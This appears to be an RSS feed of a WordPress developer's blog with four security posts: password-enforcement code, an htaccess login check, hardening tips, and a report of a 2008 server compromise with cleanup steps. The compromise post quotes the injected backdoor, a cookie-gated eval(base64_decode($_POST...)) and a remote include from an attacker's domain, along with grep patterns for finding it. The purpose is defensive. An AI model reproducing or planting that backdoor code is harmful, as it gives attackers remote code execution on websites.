<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Steve Taylor &#187; security</title>
	<atom:link href="http://sltaylor.co.uk/blog/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://sltaylor.co.uk</link>
	<description>Freelance WordPress developer in London - XHTML, CSS &#38; design</description>
	<lastBuildDate>Mon, 19 Jul 2010 09:39:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Enforce strong WordPress passwords</title>
		<link>http://sltaylor.co.uk/blog/enforce-strong-wordpress-passwords/</link>
		<comments>http://sltaylor.co.uk/blog/enforce-strong-wordpress-passwords/#comments</comments>
		<pubDate>Fri, 09 Apr 2010 14:29:31 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/?p=338</guid>
		<description><![CDATA[Here we go with some more nifty code for you WordPress developers&#8230; As ever, this code is roughly tested but probably not for novices. It&#8217;s designed to drop into a custom theme&#8217;s functions.php file. It probably should be a plugin, and it might make it one day when it&#8217;s thoroughly tested and I get time&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>Here we go with some more nifty code for you WordPress developers&#8230; As ever, this code is roughly tested but probably not for novices. It&#8217;s designed to drop into a custom theme&#8217;s <code>functions.php</code> file. It probably should be a plugin, and it might make it one day when it&#8217;s thoroughly tested and I get time&#8230;</p>
<p>Anyway, it&#8217;s a solution to a problem that I&#8217;m very surprised isn&#8217;t built into the WP core (as an option at least), and isn&#8217;t addressed by any easily found plugin or code already out there. As we know, WP provides a good &#8220;password strength meter&#8221; on the user profile page, which is great as strong passwords are (or should be) one of the first lines of defence against attacks on your site. But it&#8217;s just an <em>indicator</em>&#8212;there&#8217;s nothing stopping someone using &#8220;password&#8221; as their password, or something dumb like that. All you need is one Administrator or Editor with a dumb password, and the whole site is highly vulnerable.</p>
<p>How about a little enforcement?</p>
<p><span id="more-338"></span></p>
<p>The code below basically replicates the WP core password meter check, translated from JavaScript to PHP, and uses it to validate passwords that are entered.</p>
<pre name="code" class="php">// Enforce strong passwords
function slt_strongPasswords( $errors ) {
	$enforce = true;
	$args = func_get_args();
	$userID = $args[2]->ID;
	if ( $userID ) {
		// User ID specified - omit check for user levels below 5
		$userInfo = get_userdata( $userID );
		if ( $userInfo->user_level < 5 ) {
			$enforce = false;
		}
	} else {
		// No ID yet, adding new user - omit check for "weaker" roles
		if ( in_array( $_POST["role"], array( "subscriber", "author", "contributor" ) ) ) {
			$enforce = false;
		}
	}
	if ( $enforce &#038;&#038; !$errors->get_error_data("pass") &#038;&#038; $_POST["pass1"] &#038;&#038; slt_passwordStrength( $_POST["pass1"], $_POST["user_login"] ) != 4 ) {
			$errors->add( 'pass', __( '<strong>ERROR</strong>: Please make the password a strong one.' ) );
	}
	return $errors;
}
add_action( 'user_profile_update_errors', 'slt_strongPasswords', 0, 3 );

// Check for password strength
// Copied from JS function in WP core: /wp-admin/js/password-strength-meter.js
function slt_passwordStrength( $i, $f ) {
	$h = 1; $e = 2; $b = 3; $a = 4; $d = 0; $g = null; $c = null;
	if ( strlen( $i ) < 4 )
		return $h;
	if ( strtolower( $i ) == strtolower( $f ) )
		return $e;
	if ( preg_match( "/[0-9]/", $i ) )
		$d += 10;
	if ( preg_match( "/[a-z]/", $i ) )
		$d += 26;
	if ( preg_match( "/[A-Z]/", $i ) )
		$d += 26;
	if ( preg_match( "/[^a-zA-Z0-9]/", $i ) )
		$d += 31;
	$g = log( pow( $d, strlen( $i ) ) );
	$c = $g / log( 2 );
	if ( $c < 40 )
		return $e;
	if ( $c < 56 )
		return $b;
	return $a;
}</pre>
<p>A few notes:</p>
<ul>
<li>Initially, in <code>slt_strongPasswords()</code>, which is hooked to the <code>user_profile_update_errors</code> action, we check whether we're editing or creating a user here. This enables a check on the user level / role. Here, I'm only enforcing the strong password for "executive" users, i.e. those whose role lets them significantly affect the site. I'm taking this to be Editors (or, in the <a href="http://codex.wordpress.org/Roles_and_Capabilities#User_Levels">old style</a>, Level 5) and above. I'm well aware that <a href="http://codex.wordpress.org/Roles_and_Capabilities">roles and capabilities</a> in WP, and possible <a href="http://wordpress.org/extend/plugins/members/">modifications</a> of that system, mean that this may not be a one-size-fits-all solution. Obviously, adapt as necessary for your system---and do chip in here with any suggestions for better / different checks. If you want to enforce strong passwords for <em>all</em> users, just delete or comment out lines 4-17.</li>
<li>I've translated the WP core JavaScript function that runs the password strength meter here into PHP. If you root around in the core source (<code>/wp-admin/js/user-profile.dev.js</code>, you'll see that the value <code>4</code> is returned for "strong" passwords. Here, where there is enforcement, I'm limiting allowed passwords to "strong" only. Again, tweak this if you want to---perhaps different strengths enforced for different user roles.</li>
<li>One slight hole I know is here is if someone changes a user's password at the same time as changing their role from something like Subscriber to Administrator. A weak password would get through this. Also, an account with a weak password could just be changed to an Administrator, and if no new password is entered, again, the check wouldn't be triggered. I'm assuming that people on the editing other's accounts will be trusted and know what they're doing. But still, it's an area where this code could definitely be improved---certainly it'd be necessary before making this a plugin.</li>
</ul>
<p>Let me know if this is useful and if you find any bugs or suggestions for improvement!</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/enforce-strong-wordpress-passwords/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Detecting WordPress login via htaccess</title>
		<link>http://sltaylor.co.uk/blog/detecting-wordpress-login-via-htaccess/</link>
		<comments>http://sltaylor.co.uk/blog/detecting-wordpress-login-via-htaccess/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 12:37:39 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/?p=154</guid>
		<description><![CDATA[I just had to come up with a quick bit of .htaccess code to very basically protect PDFs on a client&#8217;s site from being downloaded by people who aren&#8217;t logged into WordPress. I thought I&#8217;d share the code, specifically to highlight the way to detect if someone&#8217;s logged into WP through Apache&#8217;s directives. Here&#8217;s my [...]]]></description>
			<content:encoded><![CDATA[<p>I just had to come up with a quick bit of <code>.htaccess</code> code to very basically protect PDFs on a client&#8217;s site from being downloaded by people who aren&#8217;t logged into WordPress. I thought I&#8217;d share the code, specifically to highlight the way to detect if someone&#8217;s logged into WP through Apache&#8217;s directives.</p>
<p><span id="more-154"></span></p>
<p>Here&#8217;s my code:</p>
<pre name="code" class="php">RewriteCond %{SCRIPT_FILENAME} /wp-content/uploads/.*\.pdf$ [NC]
RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in_.*$
RewriteRule .* http://domain.com/ [F,L]</pre>
<p>The first line matches requests for PDF files in the uploads folder. You can change that however you want. The key is the second line, which is the match for the WP cookie you&#8217;ll have if you&#8217;re logged in.</p>
<p>Note that the name of the actual cookie has a string of random characters at the end, which I assume WP generates to make the login cookie hard or impossible to fake. I don&#8217;t know a way to access this value outside WP. I&#8217;d be interested if anyone knows how; I&#8217;d also suspect this would be a security hole in WP!</p>
<p>In the above example, if someone knew the PDF&#8217;s URL, didn&#8217;t have a login to your site, and <em>really</em> wanted to download the file, I&#8217;m sure they could fake the login cookie easy enough. If you need tighter security than this on downloads, you should probably look at a plugin like <a href="http://wordpress.org/extend/plugins/download-monitor/">Download Monitor</a>, which provides &#8220;mask&#8221; URLs for files, and thus can process login checks via PHP code from within the WP framework before returning the download.</p>
<p>Note also that I&#8217;m not sure that <code>http://domain.com/</code> is necessary in the last line. The <code>F</code> flag after it returns a 403 status code, so you get the browser&#8217;s &#8220;Forbidden&#8221; page instead of any URL that you specify as the redirect.</p>
<p>Any suggestions for improvement to this quick-and-dirty trick welcome!</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/detecting-wordpress-login-via-htaccess/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress hacks and tips: Security</title>
		<link>http://sltaylor.co.uk/blog/wordpress-hacks-tips-security/</link>
		<comments>http://sltaylor.co.uk/blog/wordpress-hacks-tips-security/#comments</comments>
		<pubDate>Wed, 06 May 2009 14:36:15 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/?p=142</guid>
		<description><![CDATA[I well and truly cut my WordPress security teeth last year when my server got hacked. I summarized my lessons learned in that post, but the post also included a lot of things specific to the attack I was subject to. I thought I&#8217;d round up my WP security measures here for easy reference. There&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.flickr.com/photos/wheatfields/2497773762/"><img class="alignright size-full wp-image-143" title="WordPress security image based on image by Net Efekt" src="http://sltaylor.co.uk/wp-content/uploads/2009/05/wordpress-security.jpg" alt="WordPress security image based on image by Net Efekt" width="200" height="189" /></a> I well and truly cut my WordPress security teeth last year when <a href="/blog/wordpress-security/">my server got hacked</a>. I summarized my lessons learned in that post, but the post also included a lot of things specific to the attack I was subject to. I thought I&#8217;d round up my WP security measures here for easy reference.</p>
<p>There&#8217;s many, many things you can do to secure WP. I&#8217;ll give links for further reading at the end. Documented here are my &#8220;baseline&#8221; measures that I make sure are in every WP deployment I create.</p>
<p><span id="more-142"></span></p>
<h2>Use strong, random passwords</h2>
<p>The database password should be very strong, just <a href="https://www.grc.com/passwords.htm">a long string of random characters</a>. It&#8217;s hard-coded into <code>wp-config.php</code>, so you don&#8217;t need to remember it.</p>
<p>If you have mutiple WP installations on a single shared server, try to give each WP installation&#8212;or at least, each person using WP installations&#8212;their own database user. My own server was hacked when someone I let use my server space didn&#8217;t upgrade WP very often. Their site got hacked, and because I stupidly used the same database user for all sites, all the other installations got compromised.</p>
<p>For admin users in WP, I try to use long, random passwords; they&#8217;re cached in the browsers I use on my own machines, and for remote use I can either store the password in an email account (itself with a memorable but secure password, and accessed via HTTPS), or temporarily change the WP admin password to something memorable but strong before setting out.</p>
<h2>Make sure you change the security keys</h2>
<p>These are <a href="http://codex.wordpress.org/Editing_wp-config.php#Security_Keys">the strings in <code>wp-config.php</code></a> that WP uses to secure logging in, form submissions, etc. Luckily you&#8217;re given <a href="https://api.wordpress.org/secret-key/1.1/">a handy page to generate fresh values</a> for you.</p>
<h2>Change the table prefix</h2>
<p>Before running the WP installation script (which creates the database), make sure you change the setting that defines the database table prefix in <code>wp-config.php</code>. Use a <a href="https://www.grc.com/passwords.htm">password generator</a> and grab 5-10 random characters. Set these as the value for the <code>$table_prefix</code> (leave an underscore at the end of the value, it makes it easier to read table names).</p>
<p>If you&#8217;ve already installed WP and need to change the table prefix, change it in <code>wp-config.php</code> as above, then run some SQL with phpMyAdmin to rename the existing tables. This code assumes the current prefix is <code>wp_</code>:</p>
<pre name="code" class="sql">RENAME TABLE wp_comments TO [your prefix here]_comments;
RENAME TABLE wp_links TO [your prefix here]_links;
RENAME TABLE wp_options TO [your prefix here]_options;
RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;
RENAME TABLE wp_posts TO [your prefix here]_posts;
RENAME TABLE wp_terms TO [your prefix here]_terms;
RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;
RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;
RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;
RENAME TABLE wp_users TO [your prefix here]_users;</pre>
<p>Then, in the <code>options</code> table, change the <code>option_name</code> called <code>wp_user_roles</code> to have your new prefix instead of <code>wp_</code>. Likewise for all <code>meta_key</code> values in the <code>usermeta</code> table that start with <code>wp_</code>.</p>
<p>And make sure you use <code>$wpdb->prefix</code> when referencing table names in any custom theme SQL code! Some badly written plugins might fall foul of this if they&#8217;ve hard-coded table prefixes; any plugin worth its salt will be OK, but watch out.</p>
<h2>Change the default admin account username</h2>
<p>Don&#8217;t leave it as &#8220;admin&#8221;! Make it something unusual. Get into the database via phpMyAdmin and change the <code>user_login</code> field for the default account.</p>
<h2>Don&#8217;t advertize your WP version</h2>
<p>Of course it should go without saying that you should keep WP and all plugins as up-to-date as possible. But there&#8217;s no point in letting anyone know what WP version you&#8217;re on. The <code>wp_head()</code> function will include this by default through a theme&#8217;s header. To stop this, add this line to your theme&#8217;s <code>functions.php</code>:</p>
<pre name="code" class="php">remove_action( 'wp_head', 'wp_generator' );</pre>
<p><strong class="alert">UPDATE!</strong> I&#8217;ll leave the above here for reference, but thanks to <a href="http://blogsecurity.net/wordpress/tools/wp-scanner">WP-Scanner</a> I&#8217;ve discovered that this only removes the generator tag from the page header. It&#8217;s still included in the <em>RSS feed</em>. To completely remove it, attack it at the source (solution thanks to <a href="http://blog.ftwr.co.uk/archives/2007/10/06/improving-the-wordpress-generator/">follow the white rabbit</a>). Use this instead of the above code:</p>
<pre name="code" class="php">function no_generator() { return ''; }
add_filter( 'the_generator', 'no_generator' );</pre>
<p>Also, <strong>delete <code>readme.html</code> from the root of your WP installation</strong>. That&#8217;s got the version number in, too.</p>
<h2>.htaccess precautions</h2>
<p>At the very least, add these lines to <code>.htaccess</code>:</p>
<pre name="code" class="php"># Prevent directory listing
IndexIgnore *

# Protect .htaccess files
&lt;Files .htaccess&gt;
	order allow,deny
	deny from all
&lt;/Files&gt;

# Protect wp-config.php
&lt;FilesMatch ^wp-config.php$&gt;
	deny from all
&lt;/FilesMatch&gt;</pre>
<h3>The Perishable Press blacklists</h3>
<p>Jeff Starr at <a href="http://perishablepress.com/press/">Perishable Press</a> has some obsessive compilations of <code>.htaccess</code> that should add many extra layers of security, if you need it. I&#8217;ve not used them myself, so I should note that some people seem to have experienced conflicts between Jeff&#8217;s code and legit operations in their WP installations. However, Jeff seems to be very sharp at keeping everything updated; and he&#8217;s always keen to point out that his demonstrated <em>technique</em> is sometimes more important than the data that the lists represent. The actual blacklist data should be tweaked according to your own experience of your access logs.</p>
<p>Anyway, the most important posts seem to be the <a href="http://perishablepress.com/press/2009/03/16/the-perishable-press-4g-blacklist/">4G Blacklist</a> and the related <a href="http://perishablepress.com/press/2009/03/29/4g-ultimate-user-agent-blacklist/">User-Agent Blacklist</a>.</p>
<h2>Remove or replace install.php</h2>
<p>Jeff also recently posted a notice about a possible WP vulnerability. I&#8217;m not sure about how his situation happened, but his advice, to <a href="http://perishablepress.com/press/2009/05/05/important-security-fix-for-wordpress/">remove or replace <code>wp-admin/install.php</code></a>, seems worth following. It&#8217;s not needed again post-installation.</p>
<h2>Automate data backups</h2>
<p>I was lucky; the hack I was subject to lost me no data at all. Of course, security shouldn&#8217;t rely on luck! Install <a href="http://wordpress.org/extend/plugins/wp-dbmanager/">WP-DBManager</a> and schedule regular backups.</p>
<h2>Coding best practices</h2>
<p>If you&#8217;re coding custom themes or plugins, always follow the <a href="http://codex.wordpress.org/WordPress_Coding_Standards">WordPress Coding Standards</a>. Of particular note, security-wise, is the syntax for making your SQL queries secure:</p>
<pre name="code" class="sql">$var = "dangerous'"; // raw data that may or may not need to be escaped
$id  = some_foo_number(); // data we expect to be an integer, but we're not certain
$wpdb-&gt;query( $wpdb-&gt;prepare( "UPDATE $wpdb-&gt;posts SET post_title = %s WHERE ID = %d", $var, $id ) );</pre>
<p>So, <code>$wpdb-&gt;prepare()</code> will switch in the sequence of variables you provide at the end, and you need to specify their placeholders with <code>%s</code> for a string and <code>%d</code> for an integer.</p>
<h2>Plugins</h2>
<p>There aren&#8217;t any plugins for specific security reasons that I currently use regularly (I&#8217;m discounting plugins to stop spam). However, here are some that are worth checking out:</p>
<dl>
<dt><a href="http://blogsecurity.net/wordpress/tools/wp-scanner">WordPress Scanner</a></dt>
<dd>&#8220;A free online resource that blog administrators can use to provide a measure of their wordpress security level.&#8221; Involves using a plugin, but the scan itself seems to run from a remote server.</dd>
<dt><a href="http://wordpress.org/extend/plugins/wp-security-scan/">WP Security Scan</a></dt>
<dd>More scanning. &#8220;Scans your WordPress installation for security vulnerabilities and suggests corrective actions.&#8221;</dd>
<dt><a href="http://wordpress.org/extend/plugins/limit-login-attempts/">Limit Login Attempts</a></dt>
<dd>I assume it does what it says on the tin.</dd>
<dt><a href="http://wordpress.org/extend/plugins/secure-wordpress/">Secure WordPress</a></dt>
<dd>A bundle of little security measures in one plugin.</dd>
<dt><a href="http://wordpress.org/extend/plugins/wordpress-file-monitor/">WordPress File Monitor</a></dt>
<dd>&#8220;Monitors your WordPress installation for added/deleted/changed files. When a change is detected an email alert can be sent to a specified address.&#8221;</dd>
</dl>
<h2>References and further reading</h2>
<ul>
<li><a href="https://www.grc.com/passwords.htm">GRC&#8217;s Ultra High Security Password Generator</a></li>
<li><a href="http://codex.wordpress.org/Editing_wp-config.php">Codex: Editing <code>wp-config.php</code></a></li>
<li><a href="http://codex.wordpress.org/Hardening_WordPress">Codex: Hardening WordPress</a></li>
<li><a href="http://blogsecurity.net/wordpress">Blog Security: WordPress</a> (especially their <a href="http://blogsecurity.net/wordpress/wordpress-security-whitepaper">WordPress Security Whitepaper</a>)</li>
<li><a href="http://www.interconnectit.com/679/a-common-sense-wordpress-security-primer/">A Common-Sense WordPress Security Primer</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/wordpress-hacks-tips-security/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>WordPress security</title>
		<link>http://sltaylor.co.uk/blog/wordpress-security/</link>
		<comments>http://sltaylor.co.uk/blog/wordpress-security/#comments</comments>
		<pubDate>Sat, 19 Apr 2008 18:17:06 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/?p=29</guid>
		<description><![CDATA[My server was recently subject to a hack attack. In some senses it was pretty serious&#8212;many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the [...]]]></description>
			<content:encoded><![CDATA[<p>My server was recently subject to a hack attack. In some senses it was pretty serious&#8212;many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the intent of the hack).</p>
<p>Needless to say, I&#8217;ve been forced to quickly learn a lot about web security, and I&#8217;ve been grateful to be forced to do so without major losses. I&#8217;ll try and document some useful things I&#8217;ve learned here.</p>
<p><em><strong>NOTE:</strong> This post contains some good WordPress security tips, but in response to a specific hacks. For a more general, comprehensive run-down of solid WordPress security measures, see <a href="/blog/wordpress-hacks-tips-security/">this post</a>.</em></p>
<p><span id="more-29"></span></p>
<h2>The hack</h2>
<p>I&#8217;m not sure anyone&#8217;s come up with a catchy name for the specific attack I suffered, but it was directed at WordPress installations.</p>
<p>With the recent release of <a href="http://wordpress.org/development/2008/03/wordpress-25-brecker/">WP 2.5</a>, there have been some <a href="http://dougal.gunters.org/blog/2008/04/08/upgrade-or-else">sharp warnings</a> about upgrading. I thought I would hold off for 2.5.1. I also thought that for the few friends who have WP installations on my server, it was their choice and their risk whether they wanted to upgrade or not.</p>
<p>In the end, <em>all</em> my WP installations were compromised. I think what happened is that earlier (2.1.x) installations got compromised, and because I&#8217;ve been ignorant enough to have all installations connect to their database with the same login, even my test 2.5 installations (which are blocked from public access by <code>.htaccess</code> logins) were compromised. In any case, the lesson here is clear: <em>keep all WP installations on any server you run upgraded to the latest version</em>.</p>
<p>The signs of the attack are quite distinct. It&#8217;s documented <a href="http://wordpress.org/support/topic/168964">on the WP forum</a> and by <a href="http://wordpressphilippines.org/blog/has-your-wordpress-been-hacked-recently/">other people</a>. Here&#8217;s my summary of my experience:</p>
<ul>
<li>New files started appearing around April 11th 2008, seemingly always based on file or directories names in the same directory. So, in a directory with a file called <code>taxonomy.php</code>, there might be a new file called <code>taxonomy_old.php</code> or <code>taxonomy_new.php</code>. Other common new names included image-like extensions, e.g. <code>crop.php.pngg</code> or <code>wlw_old.php.giff</code>.</li>
<li>The main WP <code>index.php</code> changed to look like this:
<pre name="code" class="php">&lt;?php if(md5($_COOKIE['_wp_debugger'])==
&quot;[long hash string here]&quot;){ eval(base64_decode($_POST['file'])); exit; } ?&gt;&lt;?php
/* Short and sweet */
if (isset($_GET['license'])) {
	@include('http://wordpress.net.in/license.txt');
} else {
	define('WP_USE_THEMES', true);
	require('./wp-blog-header.php');
}
?&gt;</pre>
</li>
<li>That top line of PHP code was inserted into many other files.</li>
<li>A new user account could be found in the <code>wp_user</code> table, username &#8220;WordPress&#8221;. Apparently it doesn&#8217;t show up in the WP admin screen&#8212;check the database using phpMyAdmin. There were also corresponding entries, granting admin priveleges, in <code>wp_usermeta</code>, along with other entries that didn&#8217;t have a corresponding account in <code>wp_user</code>.</li>
<li>In pre-2.5 installations, the version number at the bottom of the admin screen had been changed to 2.5.</li>
</ul>
<p>Apparently another common sign of this attack is the appearance of files named <code>wp-info.txt</code> (containing passwords and so on that have been discovered by the above scripts). I didn&#8217;t get this, but watch for this too.</p>
<h2>Cleaning up</h2>
<ol>
<li>First, using phpMyAdmin, delete the &#8220;WordPress&#8221; entry from <code>wp_user</code> and its corresponding entries in <code>wp_usermeta</code>. Also delete all entries in <code>wp_usermeta</code> where the <code>user_id</code> value doesn&#8217;t correspond to a legitimate account in <code>wp_user</code>.</li>
<li>SSH into your server and search for offending code. I found the following commands useful:
<pre name="code" class="php">grep --recursive "eval(base64_decode($_POST['file']));" *</pre>
<pre name="code" class="php">grep --recursive "http://wordpress.net.in/license.txt" *</pre>
<pre name="code" class="php">grep --recursive "find suid files" *</pre>
<p>These search all files (<code>*</code>) in all sub-directories (<code>--recursive</code>, with two dashes&#8212;WordPress is converting the double dashes above into en dashes!) for the hack code strings. The first two are included into existing files; the last search is for a string that seems to occur in all new files. Obviously, adjust for the situation you discover on your server. <a href="http://wordpress.org/support/topic/168964#post-737989">This guy</a> has some other goodies.</p>
<li>Remove all offending files, via FTP or SSH (see above link).</li>
</li>
</ol>
<h2>Securing WordPress</h2>
<p>Obviously, upgrade all installations to <a href="http://wordpress.org/download/">the latest version</a>. This might make the last step redundant, but of course you should preserve your <code>wp-content</code> directory (while thoroughly scanning those files for hacked code).</p>
<p>Then do the following:</p>
<ol>
<li>With all of the following, use <a href="https://www.grc.com/passwords.htm">strong random passwords</a>. Of course they needn&#8217;t be as long as the ones on the page I&#8217;ve linked to, but it&#8217;s a good place to grab however many characters you need.</li>
<li>Try to get all WP installations connecting to their data via separate database user accounts. Change all database account passwords.</li>
<li>Change the default admin account username in all WP installations to something other than &#8220;admin&#8221;. You&#8217;ll need to do this via phpMyAdmin&#8212;change the <code>user_login</code> field.</li>
<li>Change all WP user account passwords.</li>
<li>Heck, change any other passwords too (like FTP).</li>
<li>Change the default <code>wp_</code> prefix for WordPress tables. The option to alter this is usually thought of as a way of installing multiple WP&#8217;s in the same database. That&#8217;s possible (but not ideal). Really, the main benefit is so hackers don&#8217;t know what your database tables are called. <a href="http://www.richardsramblings.com/2008/02/06/changing-your-wordpress-table-prefix/">Richard LeCour</a> has a good guide to this, and there&#8217;s even <a href="http://blogsecurity.net/wordpress/tool-130707/">a plugin</a>. Here&#8217;s my summary of the manual method:
<ol>
<li>Change value of the <code>$table_prefix</code> variable in <code>wp-config.php</code>. I use a string of 5 or so characters from <a href="https://www.grc.com/passwords.htm">the password page</a>.</li>
<li>In phpMyAdmin, on the main page for the database in question, click the &#8216;SQL&#8217; tab. Use the following code to change the table names. (Obviously adjust for any other <code>wp_</code>-prefixed tables, e.g. tables created by various plugins.)
<pre name="code" class="sql">RENAME TABLE wp_comments TO [your prefix here]_comments;
RENAME TABLE wp_links TO [your prefix here]_links;
RENAME TABLE wp_options TO [your prefix here]_options;
RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;
RENAME TABLE wp_posts TO [your prefix here]_posts;
RENAME TABLE wp_terms TO [your prefix here]_terms;
RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;
RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;
RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;
RENAME TABLE wp_users TO [your prefix here]_users;</pre>
<p>Note: I&#8217;ve sometimes put SQL queries in my custom themes code. I used to have the bad habit of referencing WP tables directly, e.g. <code>wp_posts</code>. You&#8217;ll need to change any instances of the same habit in your code using <code>$wpdb->prefix</code>. For instance, this:</p>
<pre name="code" class="sql">$sql = "SELECT ID, post_title FROM wp_posts WHERE post_status = 'publish'";</pre>
<p>Should become:</p>
<pre name="code" class="php">$sql = "SELECT ID, post_title FROM ".$wpdb->prefix."posts WHERE post_status = 'publish'";</pre>
<p>Most plugins use this to remain portable, but you might want to search your plugins for hard-coded <code>wp_</code>&#8216;s too.
</li>
<li>In the <code>options</code> table, change the <code>option_name</code> called <code>wp_user_roles</code> to have your new prefix instead of <code>wp_</code>.</li>
<li>Likewise for all <code>meta_key</code> values in the <code>usermeta</code> table that start with <code>wp_</code>.</li>
</ol>
</li>
<li>Finally, re-do the <code>grep</code> SSH searches for hacked files, and check the database for mystery user accounts. I missed some stuff first time and had hack symptoms popping up even during the process of upgrading and securing WordPress. Do a final pass to make sure.</li>
</ol>
<p>My server&#8217;s been fine since doing all these things (though I&#8217;m touching wood now). Hopefully this&#8217;ll help you cope with it if you get the same attack, and help keep WordPress secure in the future.</p>
<p>Here&#8217;s some more resources on WordPress that I&#8217;m still absorbing:</p>
<ul>
<li><a href="http://codex.wordpress.org/Hardening_WordPress">Hardening WordPress</a></li>
<li><a href="http://blogsecurity.net/wordpress/">BlogSecurity.net: WordPress</a> (see especially their <a href="http://blogsecurity.net/wordpress/wordpress-security-whitepaper/">WordPress Security Whitepaper</a>)</li>
</ul>
<h2>WordPress 2.5</h2>
<p>I&#8217;m really pleased with the new version of WordPress&#8212;great interface improvements, and it seems much nippier. However, I thought a curious new addition to the <code>wp-config.php</code> file could have done with some documentation, or some attention drawn to it. You&#8217;ll find this in 2.5&#8242;s new file:</p>
<pre name="code" class="php">// Change SECRET_KEY to a unique phrase.  You won't have to remember it later,
// so make it long and complicated.  You can visit https://www.grc.com/passwords.htm
// to get a phrase generated for you, or just make something up.
define('SECRET_KEY', 'put your unique phrase here'); // Change this to a unique phrase.</pre>
<p>Some people have missed this, apparently exposing themselves to <a href="http://blogsecurity.net/wordpress/wordpress-25-secret_key-vulnerability/">the one 2.5 vulnerability I&#8217;ve heard of so far</a>. The long and the short is, check that faithful passwords page out again! And put a big long string of random characters in there.</p>
<p>One more non-security note about the new <code>wp-config.php</code> file. If you upgrade to 2.5 and find your blog content&#8217;s got loads of garbled characters in it, the culprit is probably this new line:</p>
<pre name="code" class="php">define('DB_CHARSET', 'utf8');</pre>
<p>Comment it out like this:</p>
<pre name="code" class="php">//define('DB_CHARSET', 'utf8');</pre>
<p>Good luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/wordpress-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
